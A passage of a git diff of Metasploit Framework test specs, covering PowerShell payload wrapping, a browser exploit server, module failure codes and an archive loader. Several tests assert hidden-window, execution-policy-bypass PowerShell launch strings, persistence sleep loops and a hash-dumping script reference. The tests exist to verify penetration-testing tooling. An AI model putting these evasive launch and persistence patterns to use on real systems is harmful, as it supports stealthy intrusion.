decompress(code) + Rex::Exploitation::Powershell::Script.new(code).decompress_code +end + +describe Msf::Exploit::Powershell do + subject do + mod = Msf::Exploit.allocate + mod.extend described_class + mod.send(:initialize, {}) + mod.datastore['Verbose'] = true + mod + end + + let(:example_script) do + File.join(Msf::Config.data_directory, "exploits", "powershell", "powerdump.ps1") + end + + let(:payload) do + Rex::Text.rand_text_alpha(120) + end + + let(:arch) do + 'x86' + end + + describe "::encode_script" do + it 'should read and encode a sample script file' do + script = subject.encode_script(example_script) + script.should be + script.length.should be > 0 + end + end + + describe "::compress_script" do + context 'when default datastore is set' do + it 'should create a compressed script' do + script = File.read(example_script) + compressed = subject.compress_script(script) + compressed.length.should be < script.length + compressed.include?('IO.Compression').should be_truthy + end + + it 'should create a compressed script with eof' do + script = File.read(example_script) + compressed = subject.compress_script(script, 'end_of_file') + compressed.include?('end_of_file').should be_truthy + end + end + + context 'when strip_comments is true' do + before do + subject.datastore['Powershell::strip_comments'] = true + subject.options.validate(subject.datastore) + end + it 'should strip comments' do + script = File.read(example_script) + compressed = subject.compress_script(script) + compressed.length.should be < script.length + end + end + context 'when strip_comment is false' do + before do + subject.datastore['Powershell::strip_comments'] = false + subject.options.validate(subject.datastore) + end + it 'shouldnt strip comments' do + script = File.read(example_script) + compressed = subject.compress_script(script) + compressed.length.should be < script.length + end + end + + context 'when strip_whitespace is true' do + before do + subject.datastore['Powershell::strip_whitespace'] = true + subject.options.validate(subject.datastore) + end + it 'should strip whitespace' do + script = File.read(example_script) + compressed = subject.compress_script(script) + decompress(compressed).length.should be < script.length + end + end + + context 'when strip_whitespace is false' do + before do + subject.datastore['Powershell::strip_whitespace'] = false + subject.options.validate(subject.datastore) + end + it 'shouldnt strip whitespace' do + script = File.read(example_script) + compressed = subject.compress_script(script) + decompress(compressed).length.should be script.length + end + end + + context 'when sub_vars is true' do + before do + subject.datastore['Powershell::sub_vars'] = true + subject.options.validate(subject.datastore) + end + it 'should substitute variables' do + script = File.read(example_script) + compressed = subject.compress_script(script) + decompress(compressed).include?('$hashes').should be_falsey + end + end + + context 'when sub_vars is false' do + before do + subject.datastore['Powershell::sub_vars'] = false + subject.options.validate(subject.datastore) + end + it 'shouldnt substitute variables' do + script = File.read(example_script) + compressed = subject.compress_script(script) + decompress(compressed).include?('$hashes').should be_truthy + end + end + + context 'when sub_funcs is true' do + before do + subject.datastore['Powershell::sub_funcs'] = true + subject.options.validate(subject.datastore) + end + it 'should substitute functions' do + script = File.read(example_script) + compressed = subject.compress_script(script) + decompress(compressed).include?('DumpHashes').should be_falsey + end + end + + context 'when sub_funcs is false' do + before do + subject.datastore['Powershell::sub_funcs'] = false + subject.options.validate(subject.datastore) + end + it 'shouldnt substitute variables' do + script = File.read(example_script) + compressed = subject.compress_script(script) + decompress(compressed).include?('DumpHashes').should be_truthy + end + end + end + + describe "::run_hidden_psh" do + + + let(:encoded) do + false + end + + context 'when x86 payload' do + it 'should generate code' do + code = subject.run_hidden_psh(payload, arch, encoded) + code.include?('syswow64').should be_truthy + end + end + + context 'when x64 payload' do + it 'should generate code' do + code = subject.run_hidden_psh(payload, 'x86_64', encoded) + code.include?('sysnative').should be_truthy + end + end + + context 'when encoded' do + it 'should generate a code including an encoded command' do + code = subject.run_hidden_psh(payload, arch, true) + code.include?('-nop -w hidden -e ').should be_truthy + end + end + + context 'when command' do + it 'should generate code including a -c command' do + code = subject.run_hidden_psh(payload, arch, encoded) + code.include?('-nop -w hidden -c ').should be_truthy + end + end + + context 'when old' do + before do + subject.datastore['Powershell::method'] = 'old' + subject.options.validate(subject.datastore) + end + it 'should generate a code including unshorted args' do + code = subject.run_hidden_psh(payload, arch, encoded) + code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ').should be_truthy + end + end + end + + describe "::cmd_psh_payload" do + context 'when payload is huge' do + it 'should raise an exception' do + except = false + begin + code = subject.cmd_psh_payload(Rex::Text.rand_text_alpha(12000), arch) + rescue RuntimeError => e + except = true + end + + except.should be_truthy + end + end + + context 'when persist is true' do + before do + subject.datastore['Powershell::persist'] = true + subject.options.validate(subject.datastore) + end + it 'should add a persistance loop' do + code = subject.cmd_psh_payload(payload, arch) + decompress(code).include?('while(1){Start-Sleep -s ').should be_truthy + end + end + + context 'when persist is false' do + before do + subject.datastore['Powershell::persist'] = false + subject.options.validate(subject.datastore) + end + it 'shouldnt add a persistance loop' do + code = subject.cmd_psh_payload(payload, arch) + decompress(code).include?('while(1){Start-Sleep -s ').should be_falsey + end + end + + context 'when prepend_sleep is set' do + before do + subject.datastore['Powershell::prepend_sleep'] = 5 + subject.options.validate(subject.datastore) + end + it 'should prepend sleep' do + code = subject.cmd_psh_payload(payload, arch) + decompress(code).include?('Start-Sleep -s ').should be_truthy + end + end + + context 'when prepend_sleep isnt set' do + before do + subject.datastore['Powershell::prepend_sleep'] = nil + subject.options.validate(subject.datastore) + end + it 'shouldnt prepend sleep' do + code = subject.cmd_psh_payload(payload, arch) + decompress(code).include?('Start-Sleep -s ').should be_falsey + end + end + + context 'when prepend_sleep is 0' do + before do + subject.datastore['Powershell::prepend_sleep'] = 0 + subject.options.validate(subject.datastore) + end + it 'shouldnt prepend sleep' do + code = subject.cmd_psh_payload(payload, arch) + decompress(code).include?('Start-Sleep -s ').should be_falsey + end + end + + context 'when method is old' do + before do + subject.datastore['Powershell::method'] = 'old' + subject.options.validate(subject.datastore) + end + it 'should generate a command line' do + code = subject.cmd_psh_payload(payload, arch) + decompress(code).include?('-namespace Win32Functions').should be_truthy + end + it 'shouldnt shorten args' do + code = subject.cmd_psh_payload(payload, arch) + code.include?('-NoProfile -WindowStyle hidden -Command').should be_truthy + end + it 'should include -NoExit' do + code = subject.cmd_psh_payload(payload, arch) + code.include?('-NoProfile -WindowStyle hidden -NoExit -Command').should be_truthy + end + end + + context 'when method is net' do + before do + subject.datastore['Powershell::method'] = 'net' + subject.options.validate(subject.datastore) + end + it 'should generate a command line' do + code = subject.cmd_psh_payload(payload, arch) + decompress(code).include?('System.Runtime.InteropServices;').should be_truthy + end + end + + context 'when method is reflection' do + before do + subject.datastore['Powershell::method'] = 'reflection' + subject.options.validate(subject.datastore) + end + it 'should generate a command line' do + code = subject.cmd_psh_payload(payload, arch) + decompress(code).include?('GlobalAssemblyCache').should be_truthy + end + end + + context 'when method is msil' do + before do + subject.datastore['Powershell::method'] = 'msil' + subject.options.validate(subject.datastore) + end + it 'should raise an exception' do + except = false + begin + subject.cmd_psh_payload(payload, arch) + rescue RuntimeError + except = true + end + except.should be_truthy + end + end + + context 'when method is unknown' do + before do + subject.datastore['Powershell::method'] = 'blah' + end + it 'should raise an exception' do + except = false + begin + subject.cmd_psh_payload(payload, arch) + rescue RuntimeError + except = true + end + except.should be_truthy + end + after do + subject.datastore['Powershell::method'] = 'reflection' + subject.options.validate(subject.datastore) + end + end + + context 'when encode_inner_payload' do + it 'should contain an inner payload with -e' do + code = subject.cmd_psh_payload(payload, arch, {:encode_inner_payload => true}) + code.include?(' -e ').should be_truthy + end + + context 'when no_equals is true' do + it 'should raise an exception' do + except = false + begin + code = subject.cmd_psh_payload(payload, arch, {:encode_inner_payload => true, :no_equals => true}) + rescue RuntimeError + except = true + end + except.should be_truthy + end + end + end + + context 'when encode_final_payload' do + context 'when no_equals is false' do + it 'should contain a final payload with -e' do + code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => false}) + code.include?(' -e ').should be_truthy + code.include?(' -c ').should be_falsey + end + end + context 'when no_equals is true' do + it 'should contain a final payload with -e' do + code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => true}) + code.include?(' -e ').should be_truthy + code.include?(' -c ').should be_falsey + code.include?('=').should be_falsey + end + end + context 'when encode_inner_payload is true' do + it 'should raise an exception' do + except = false + begin + subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :encode_inner_payload => true}) + rescue RuntimeError + except = true + end + except.should be_truthy + end + end + end + + context 'when remove_comspec' do + it 'shouldnt contain %COMSPEC%' do + code = subject.cmd_psh_payload(payload, arch, {:remove_comspec => true}) + code.include?('%COMSPEC%').should be_falsey + end + end + + context 'when use single quotes' do + it 'should wrap in single quotes' do + code = subject.cmd_psh_payload(payload, arch, {:use_single_quotes => true}) + code.include?(' -c \'').should be_truthy + end + end + end + + describe "::generate_psh_command_line" do + it 'should contain no full stop when :no_full_stop' do + opts = {:no_full_stop => true} + command = subject.generate_psh_command_line(opts) + command.include?("powershell ").should be_truthy + end + + it 'should contain full stop unless :no_full_stop' do + opts = {} + command = subject.generate_psh_command_line(opts) + command.include?("powershell.exe ").should be_truthy + + opts = {:no_full_stop => false} + command = subject.generate_psh_command_line(opts) + command.include?("powershell.exe ").should be_truthy + end + + it 'should ensure the path should always ends with \\' do + opts = {:path => "test"} + command = subject.generate_psh_command_line(opts) + command.include?("test\\powershell.exe ").should be_truthy + + opts = {:path => "test\\"} + command = subject.generate_psh_command_line(opts) + command.include?("test\\powershell.exe ").should be_truthy + end + end + + describe "::generate_psh_args" do + it 'should return empty string for nil opts' do + subject.generate_psh_args(nil).should eql "" + end + + command_args = [[:encodedcommand, "parp"], + [:executionpolicy, "bypass"], + [:inputformat, "xml"], + [:file, "x"], + [:noexit, true], + [:nologo, true], + [:noninteractive, true], + [:mta, true], + [:outputformat, 'xml'], + [:sta, true], + [:noprofile, true], + [:windowstyle, "hidden"], + [:command, "Z"] + ] + + permutations = (0..command_args.length).to_a.combination(2).map{|i,j| command_args[i...j]} + + permutations.each do |perms| + opts = {} + perms.each do |k,v| + opts[k] = v + it "should generate correct arguments for #{opts}" do + opts[:shorten] = true + short_args = subject.generate_psh_args(opts) + opts[:shorten] = false + long_args = subject.generate_psh_args(opts) + + opt_length = opts.length - 1 + + short_args.should_not be_nil + long_args.should_not be_nil + short_args.count('-').should eql opt_length + long_args.count('-').should eql opt_length + short_args[0].should_not eql " " + long_args[0].should_not eql " " + short_args[-1].should_not eql " " + long_args[-1].should_not eql " " + + if opts[:command] + long_args[-10..-1].should eql "-Command Z" + short_args[-4..-1].should eql "-c Z" + end + end + end + end + end + +end + diff --git a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb index c9708dc5eb..7aa70b3209 100644 --- a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb @@ -1,6 +1,5 @@ require 'spec_helper' require 'msf/core' -require 'msf/core/exploit/remote/browser_exploit_server' describe Msf::Exploit::Remote::BrowserExploitServer do @@ -12,22 +11,22 @@ describe Msf::Exploit::Remote::BrowserExploitServer do end let(:service_double) do - service = double("service") + service = double('service') service.stub(:server_name=) service.stub(:add_resource) service end let(:profile_name) do - "random" + 'random' end let(:expected_os_name) do - "linux" + 'linux' end let(:expected_user_agent) do - "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" + 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)' end let(:exploit_page) do @@ -36,16 +35,16 @@ describe Msf::Exploit::Remote::BrowserExploitServer do let(:expected_profile) do { - :source=>"script", - :os_name=>"Microsoft Windows", - :os_flavor=>"XP", - :ua_name=>"MSIE", - :ua_ver=>"8.0", - :arch=>"x86", - :office=>"null", - :activex=>"true", + :source=>'script', + :os_name=>'Microsoft Windows', + :os_flavor=>'XP', + :ua_name=>'MSIE', + :ua_ver=>'8.0', + :arch=>'x86', + :office=>'null', + :activex=>'true', :proxy=>false, - :language=>"en-us", + :language=>'en-us', :tried=>true } end @@ -58,21 +57,23 @@ describe Msf::Exploit::Remote::BrowserExploitServer do server.start_service end - describe ".get_module_resource" do + it_should_behave_like 'Msf::Exploit::JSObfu' + + describe "#get_module_resource" do it "should give me a URI to access the exploit page" do module_resource = server.get_module_resource - module_resource.should match(exploit_page) + expect(module_resource).to include(exploit_page) end end - describe ".get_bad_requirements" do + describe "#get_bad_requirements" do let(:rejected_requirements) do server.get_bad_requirements(fake_profile) end context 'when given the expected profile' do it "should not contain any bad requirements" do - server.get_bad_requirements(expected_profile).should eq([]) + expect(server.get_bad_requirements(expected_profile)).to eq([]) end end @@ -85,8 +86,8 @@ describe Msf::Exploit::Remote::BrowserExploitServer do server.instance_variable_set(:@requirements, {:os_name => /win/i}) end - it "should have identify :os_name as a requirement not met" do - rejected_requirements.should eq([:os_name]) + it "identifies :os_name as a requirement not met" do + expect(rejected_requirements).to eq([:os_name]) end end @@ -104,86 +105,86 @@ describe Msf::Exploit::Remote::BrowserExploitServer do context "with the regex /26\.0$/" do let(:ua_ver) { /26\.0$/ } it "should reject :ua_ver" do - rejected_requirements.should include(:ua_ver) + expect(rejected_requirements).to include(:ua_ver) end end context "with the regex /25\.0$/" do let(:ua_ver) { /25\.0$/ } it "should accept :ua_ver" do - rejected_requirements.should_not include(:ua_ver) + expect(rejected_requirements).not_to include(:ua_ver) end end context "with a Proc that checks if version is between 1-5" do let(:ua_ver) { lambda{ |ver| ver.to_i.between?(1, 5) } } it "should reject :ua_ver" do - rejected_requirements.should include(:ua_ver) + expect(rejected_requirements).to include(:ua_ver) end end context "with a Proc that checks if version is between 20-26" do let(:ua_ver) { lambda{ |ver| ver.to_i.between?(20, 26) } } it "should accept :ua_ver" do - rejected_requirements.should_not include(:ua_ver) + expect(rejected_requirements).not_to include(:ua_ver) end end end end end - describe ".init_profile" do + describe "#init_profile" do it "should initialize an empety profile for tag 'random'" do server.init_profile(profile_name) ivar_target_profile = server.instance_variable_get(:@target_profiles) - ivar_target_profile.should eq({profile_name=>{}}) + expect(ivar_target_profile).to eq({profile_name=>{}}) end end - describe ".get_profile" do + describe "#get_profile" do it "should return nil when a profile isn't found" do server.init_profile(profile_name) p = server.get_profile("non_existent_profile") - p.should be_nil + expect(p).to be_nil end - it "should return a profile if found" do + it "returns a profile if found" do server.init_profile(profile_name) p = server.get_profile(profile_name) - p.should eq({}) + expect(p).to eq({}) end end - describe ".update_profile" do - it "should update my target profile's :os_name information" do + describe "#update_profile" do + it "updates my target profile's :os_name information" do server.init_profile(profile_name) profile = server.get_profile(profile_name) server.update_profile(profile, :os_name, expected_os_name) profile = server.get_profile(profile_name) - profile[:os_name].should eq(expected_os_name) + expect(profile[:os_name]).to eq(expected_os_name) end end - describe ".get_detection_html" do - it "should return the detection code that the client will get" do + describe "#get_detection_html" do + it "returns the detection code that the client will get" do html = server.get_detection_html(expected_user_agent) - html.should_not eq('') + expect(html).not_to eq('') end end - describe ".on_request_exploit" do - it "should raise a NoMethodError if called" do + describe "#on_request_exploit" do + it "raises a NoMethodError if called" do fake_cli = nil fake_request = nil fake_browser_info = nil - lambda { + expect { server.on_request_exploit(fake_cli, fake_request, fake_browser_info) - }.should raise_error + }.to raise_error end end - describe ".get_target" do - it "should return a target" do + describe "#get_target" do + it "returns a target" do # # Using Object for Msf::Module::Target # @@ -193,8 +194,8 @@ describe Msf::Exploit::Remote::BrowserExploitServer do end end - describe ".try_set_target" do - it "should try to set a target based on requirements" do + describe "#try_set_target" do + it "Sets a target based on requirements" do # # This testcase needs to be better somehow, but not sure how to actually create # a Msf::Module::Target. All we're able to test here is making sure the method @@ -207,23 +208,23 @@ describe Msf::Exploit::Remote::BrowserExploitServer do end end - describe ".extract_requirements" do - it "should find all the recognizable keys" do + describe "#extract_requirements" do + it "finds all the recognizable keys" do requirements = {:os_flavor=>"XP", :ua_name=>"MSIE", :ua_ver=>"8.0"} matches = server.extract_requirements(requirements) - matches.should eq(requirements) + expect(matches).to eq(requirements) end - it "should make sure the keys are always symbols" do + it "makes sure the keys are always symbols" do requirements = {'os_flavor'=>"XP", 'ua_name'=>"MSIE"} matches = server.extract_requirements(requirements) matches.each do |k,v| - k.class.should eq(Symbol) + expect(k.class).to eq(Symbol) end end end - describe '.on_request_uri' do + describe '#on_request_uri' do let(:cli) { double(:peerhost => '0.0.0.0') } let(:cookie) { '' } let(:headers) { {'Cookie' => cookie, 'User-Agent' => ''} } @@ -240,6 +241,9 @@ describe Msf::Exploit::Remote::BrowserExploitServer do end context 'when a new visitor requests the exploit' do + before { JSObfu.disabled = true } + after { JSObfu.disabled = false } + it 'calls send_response once' do server.should_receive(:send_response).once server.on_request_uri(cli, request) @@ -247,7 +251,7 @@ describe Msf::Exploit::Remote::BrowserExploitServer do it 'serves the os.js detection script' do server.should_receive(:send_response) do |cli, html, headers| - expect(html).to include('window.os_detect') + expect(html).to include('os_detect') end server.on_request_uri(cli, request) end @@ -278,6 +282,9 @@ describe Msf::Exploit::Remote::BrowserExploitServer do let(:tag) { 'joe' } let(:cookie) { "#{cookie_name}=#{tag}" } + before { JSObfu.disabled = true } + after { JSObfu.disabled = false } + it 'calls send_response once' do server.should_receive(:send_response).once server.on_request_uri(cli, request) @@ -285,11 +292,11 @@ describe Msf::Exploit::Remote::BrowserExploitServer do it 'serves the os.js detection script' do server.should_receive(:send_response) do |cli, html, headers| - expect(html).to include('window.os_detect') + expect(html).to include('os_detect') end server.on_request_uri(cli, request) end end end -end \ No newline at end of file +end diff --git a/spec/lib/msf/core/exploit/remote/firefox_privilege_escalation_spec.rb b/spec/lib/msf/core/exploit/remote/firefox_privilege_escalation_spec.rb new file mode 100644 index 0000000000..392ee8e850 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/firefox_privilege_escalation_spec.rb @@ -0,0 +1,8 @@ +require 'spec_helper' +require 'msf/core' + +describe Msf::Exploit::Remote::FirefoxPrivilegeEscalation do + + it_should_behave_like 'Msf::Exploit::JSObfu' + +end diff --git a/spec/lib/msf/core/framework_spec.rb b/spec/lib/msf/core/framework_spec.rb index 7c96718f7d..9c7094cced 100644 --- a/spec/lib/msf/core/framework_spec.rb +++ b/spec/lib/msf/core/framework_spec.rb @@ -6,7 +6,7 @@ require 'msf/core/framework' describe Msf::Framework do describe "#version" do - CURRENT_VERSION = "4.9.3-dev" + CURRENT_VERSION = "4.10.1-dev" subject do described_class.new @@ -28,7 +28,7 @@ describe Msf::Framework do "-#{release}".should == described_class::Release end - pending "conform to SemVer 2.0 syntax: http://semver.org/" do + skip "conform to SemVer 2.0 syntax: http://semver.org/" do it "should have constants that correspond to SemVer standards" do major,minor,patch,label = subject.version.split(/[.-]/) major.to_i.should == described_class::VERSION::MAJOR diff --git a/spec/lib/msf/core/handler/reverse_http/uri_checksum_spec.rb b/spec/lib/msf/core/handler/reverse_http/uri_checksum_spec.rb index a6d8414b78..51d83619a3 100644 --- a/spec/lib/msf/core/handler/reverse_http/uri_checksum_spec.rb +++ b/spec/lib/msf/core/handler/reverse_http/uri_checksum_spec.rb @@ -86,4 +86,4 @@ describe Msf::Handler::ReverseHttp::UriChecksum do end end -end \ No newline at end of file +end diff --git a/spec/lib/msf/core/module/failure_spec.rb b/spec/lib/msf/core/module/failure_spec.rb new file mode 100644 index 0000000000..7b71b7d2a4 --- /dev/null +++ b/spec/lib/msf/core/module/failure_spec.rb @@ -0,0 +1,102 @@ +require 'spec_helper' + +describe Msf::Module::Failure do + context 'CONSTANTS' do + context 'None' do + subject(:none) { + described_class::None + } + it { is_expected.to eq('none') } + end + + context 'Unknown' do + subject(:unknown) { + described_class::Unknown + } + it { is_expected.to eq('unknown') } + end + context 'Unreachable' do + subject(:unreachable) { + described_class::Unreachable + } + it { is_expected.to eq('unreachable') } + end + + context 'BadConfig' do + subject(:bad_config) { + described_class::BadConfig + } + it { is_expected.to eq('bad-config') } + end + + context 'Disconnected' do + subject(:disconnected) { + described_class::Disconnected + } + it { is_expected.to eq('disconnected') } + end + + context 'NotFound' do + subject(:not_found) { + described_class::NotFound + } + it { is_expected.to eq('not-found') } + end + + context 'UnexpectedReply' do + subject(:unexpected_reply) { + described_class::UnexpectedReply + } + + it { is_expected.to eq('unexpected-reply') } + end + + context 'TimeoutExpired' do + subject(:timeout_expired) { + described_class::TimeoutExpired + } + + it { is_expected.to eq('timeout-expired') } + end + + context 'UserInterrupt' do + subject(:user_interrupt) { + described_class::UserInterrupt + } + + it { is_expected.to eq('user-interrupt') } + end + + context 'NoAccess' do + subject(:no_access) { + described_class::NoAccess + } + + it { is_expected.to eq('no-access') } + end + + context 'NoTarget' do + subject(:no_target) { + described_class::NoTarget + } + + it { is_expected.to eq('no-target') } + end + + context 'NotVulnerable' do + subject(:not_vulnerable) { + described_class::NotVulnerable + } + + it { is_expected.to eq('not-vulnerable') } + end + + context 'PayloadFailed' do + subject(:payload_failed) { + described_class::PayloadFailed + } + + it { is_expected.to eq('payload-failed') } + end + end +end \ No newline at end of file diff --git a/spec/lib/msf/core/module_manager_spec.rb b/spec/lib/msf/core/module_manager_spec.rb index 9e121a31af..d311b07e6e 100644 --- a/spec/lib/msf/core/module_manager_spec.rb +++ b/spec/lib/msf/core/module_manager_spec.rb @@ -19,14 +19,6 @@ require 'msf/core' describe Msf::ModuleManager do include_context 'Msf::Simple::Framework' - let(:archive_basename) do - [basename_prefix, archive_extension] - end - - let(:archive_extension) do - '.fastlib' - end - let(:basename_prefix) do 'rspec' end diff --git a/spec/lib/msf/core/module_spec.rb b/spec/lib/msf/core/module_spec.rb index 5a69e47c9b..43ac00ef64 100644 --- a/spec/lib/msf/core/module_spec.rb +++ b/spec/lib/msf/core/module_spec.rb @@ -10,12 +10,12 @@ shared_examples "search_filter" do |opts| accept.each do |query| it "should accept a query containing '#{query}'" do # if the subject matches, search_filter returns false ("don't filter me out!") - subject.search_filter(query).should be_false + subject.search_filter(query).should be_falsey end unless opts.has_key?(:test_inverse) and not opts[:test_inverse] it "should reject a query containing '-#{query}'" do - subject.search_filter("-#{query}").should be_true + subject.search_filter("-#{query}").should be_truthy end end end @@ -23,12 +23,12 @@ shared_examples "search_filter" do |opts| reject.each do |query| it "should reject a query containing '#{query}'" do # if the subject doesn't matches, search_filter returns true ("filter me out!") - subject.search_filter(query).should be_true + subject.search_filter(query).should be_truthy end unless opts.has_key?(:test_inverse) and not opts[:test_inverse] it "should accept a query containing '-#{query}'" do - subject.search_filter("-#{query}").should be_true # what? why? + subject.search_filter("-#{query}").should be_truthy # what? why? end end end @@ -38,6 +38,111 @@ end REF_TYPES = %w(CVE BID OSVDB EDB) describe Msf::Module do + it { is_expected.to respond_to :[] } + it { is_expected.to respond_to :[]= } + it { is_expected.to respond_to :alias } + it { is_expected.to respond_to :arch? } + it { is_expected.to respond_to :arch_to_s } + it { is_expected.to respond_to :author_to_s } + it { is_expected.to respond_to :auxiliary? } + it { is_expected.to respond_to :check } + it { is_expected.to respond_to :comm } + it { is_expected.to respond_to :compat } + it { is_expected.to respond_to :compatible? } + it { is_expected.to respond_to :debugging? } + it { is_expected.to respond_to :deregister_options } + it { is_expected.to respond_to :derived_implementor? } + it { is_expected.to respond_to :description } + it { is_expected.to respond_to :disclosure_date } + it { is_expected.to respond_to :each_arch } + it { is_expected.to respond_to :each_author } + it { is_expected.to respond_to :encoder? } + it { is_expected.to respond_to :exploit? } + it { is_expected.to respond_to :fail_with } + it { is_expected.to respond_to :file_path } + it { is_expected.to respond_to :framework } + it { is_expected.to respond_to :fullname } + it { is_expected.to respond_to :generate_uuid } + it { is_expected.to respond_to :import_defaults } + it { is_expected.to respond_to :info_fixups } + it { is_expected.to respond_to :init_compat } + it { is_expected.to respond_to :merge_check_key } + it { is_expected.to respond_to :merge_info } + it { is_expected.to respond_to :merge_info_advanced_options } + it { is_expected.to respond_to :merge_info_alias } + it { is_expected.to respond_to :merge_info_description } + it { is_expected.to respond_to :merge_info_evasion_options } + it { is_expected.to respond_to :merge_info_name } + it { is_expected.to respond_to :merge_info_options } + it { is_expected.to respond_to :merge_info_string } + it { is_expected.to respond_to :merge_info_version } + it { is_expected.to respond_to :name } + it { is_expected.to respond_to :nop? } + it { is_expected.to respond_to :orig_cls } + it { is_expected.to respond_to :owner } + it { is_expected.to respond_to :payload? } + it { is_expected.to respond_to :platform? } + it { is_expected.to respond_to :platform_to_s } + it { is_expected.to respond_to :post? } + it { is_expected.to respond_to :print_error } + it { is_expected.to respond_to :print_good } + it { is_expected.to respond_to :print_line } + it { is_expected.to respond_to :print_line_prefix } + it { is_expected.to respond_to :print_prefix } + it { is_expected.to respond_to :print_status } + it { is_expected.to respond_to :print_warning } + it { is_expected.to respond_to :privileged? } + it { is_expected.to respond_to :rank } + it { is_expected.to respond_to :rank_to_h } + it { is_expected.to respond_to :rank_to_s } + it { is_expected.to respond_to :refname } + it { is_expected.to respond_to :register_advanced_options } + it { is_expected.to respond_to :register_evasion_options } + it { is_expected.to respond_to :register_options } + it { is_expected.to respond_to :register_parent } + it { is_expected.to respond_to :replicant } + it { is_expected.to respond_to :set_defaults } + it { is_expected.to respond_to :share_datastore } + it { is_expected.to respond_to :shortname } + it { is_expected.to respond_to :support_ipv6? } + it { is_expected.to respond_to :target_host } + it { is_expected.to respond_to :target_port } + it { is_expected.to respond_to :type } + it { is_expected.to respond_to :update_info } + it { is_expected.to respond_to :validate } + it { is_expected.to respond_to :vprint_debug } + it { is_expected.to respond_to :vprint_error } + it { is_expected.to respond_to :vprint_good } + it { is_expected.to respond_to :vprint_line } + it { is_expected.to respond_to :vprint_status } + it { is_expected.to respond_to :vprint_warning } + it { is_expected.to respond_to :workspace } + + context 'CONSTANTS' do + context 'UpdateableOptions' do + subject(:updateable_options) { + described_class::UpdateableOptions + } + + it { is_expected.to match_array(%w{Name Description Alias PayloadCompat})} + end + end + + context 'class' do + subject { + described_class + } + + it { is_expected.to respond_to :cached? } + it { is_expected.to respond_to :fullname } + it { is_expected.to respond_to :is_usable } + it { is_expected.to respond_to :rank } + it { is_expected.to respond_to :rank_to_h } + it { is_expected.to respond_to :rank_to_s } + it { is_expected.to respond_to :shortname } + it { is_expected.to respond_to :type } + end + describe '#search_filter' do let(:opts) { Hash.new } before { subject.stub(:fullname => '/module') } diff --git a/spec/lib/msf/core/modules/loader/archive_spec.rb b/spec/lib/msf/core/modules/loader/archive_spec.rb deleted file mode 100644 index aafa587f9d..0000000000 --- a/spec/lib/msf/core/modules/loader/archive_spec.rb +++ /dev/null @@ -1,276 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'msf/core' - -describe Msf::Modules::Loader::Archive do - let(:archive_extension) do - '.fastlib' - end - - context 'CONSTANTS' do - it 'should have extension' do - described_class::ARCHIVE_EXTENSION.should == archive_extension - end - end - - context 'instance methods' do - let(:enabled_type) do - 'exploit' - end - - let(:enabled_type_directory) do - 'exploits' - end - - let(:framework) do - double('Framework') - end - - let(:module_extension) do - '.rb' - end - - let(:module_manager) do - # DO NOT mock module_manager to ensure that no protected methods are being called. - Msf::ModuleManager.new(framework, [enabled_type]) - end - - let(:module_reference_name) do - 'module/reference/name' - end - - subject do - described_class.new(module_manager) - end - - context '#each_module_reference_name' do - let(:disabled_module_content) do - <<-EOS - class Metasploit3 < Msf::Auxiliary - end - EOS - end - - let(:disabled_type) do - 'auxiliary' - end - - let(:disabled_type_directory) do - 'auxiliary' - end - - let(:enabled_module_content) do - <<-EOS - class Metasploit3 < Msf::Exploit::Remote - end - EOS - end - - around(:each) do |example| - Dir.mktmpdir do |directory| - @base_path = directory - - # make a .svn directory to be ignored - subversion_path = File.join(@base_path, '.svn') - FileUtils.mkdir_p subversion_path - - # make a type directory that should be ignored because it's not enabled - disabled_type_path = File.join(@base_path, disabled_type_directory) - FileUtils.mkdir_p disabled_type_path - - # - # create a valid module in the disabled type directory to make sure it's the enablement that's preventing the - # yield - # - - disabled_module_path = File.join(disabled_type_path, "#{disabled_type}#{module_extension}") - - File.open(disabled_module_path, 'wb') do |f| - f.write(disabled_module_content) - end - - # make a type directory that should not be ignored because it is enabled - enabled_module_path = File.join( - @base_path, - enabled_type_directory, - "#{module_reference_name}#{module_extension}" - ) - enabled_module_directory = File.dirname(enabled_module_path) - FileUtils.mkdir_p enabled_module_directory - - File.open(enabled_module_path, 'wb') do |f| - f.write(enabled_module_content) - end - - Dir.mktmpdir do |archive_directory| - @archive_path = File.join(archive_directory, "rspec#{archive_extension}") - FastLib.dump(@archive_path, FastLib::FLAG_COMPRESS.to_s(16), @base_path, @base_path) - - # @todo Fix https://www.pivotaltracker.com/story/show/38730815 and the cache won't need to be cleared as a work-around - FastLib.cache.clear - - example.run - end - end - end - - # this checks that the around(:each) is working - it 'should have an existent FastLib' do - File.exist?(@archive_path).should be_true - end - - it 'should ignore .svn directories' do - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - parent_path.should_not include('.svn') - end - end - - it 'should ignore types that are not enabled' do - module_manager.type_enabled?(disabled_type).should be_false - - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - type.should_not == disabled_type - end - end - - it 'should yield (parent_path, type, module_reference_name) with parent_path equal to the archive path' do - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - parent_path.should == @archive_path - end - end - - it 'should yield (parent_path, type, module_reference_name) with type equal to enabled type' do - module_manager.type_enabled?(enabled_type).should be_true - - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - type.should == enabled_type - end - end - - it 'should yield (path, type, module_reference_name) with module_reference_name without extension' do - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - module_reference_name.should_not match(/#{Regexp.escape(module_extension)}$/) - module_reference_name.should == module_reference_name - end - end - - # ensure that the block is actually being run so that shoulds in the block aren't just being skipped - it 'should yield the correct number of tuples' do - actual_count = 0 - - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - actual_count += 1 - end - - actual_count.should == 1 - end - end - - context '#loadable?' do - it 'should return true if the path has ARCHIVE_EXTENSION as file extension' do - path = "path/to/archive#{archive_extension}" - - 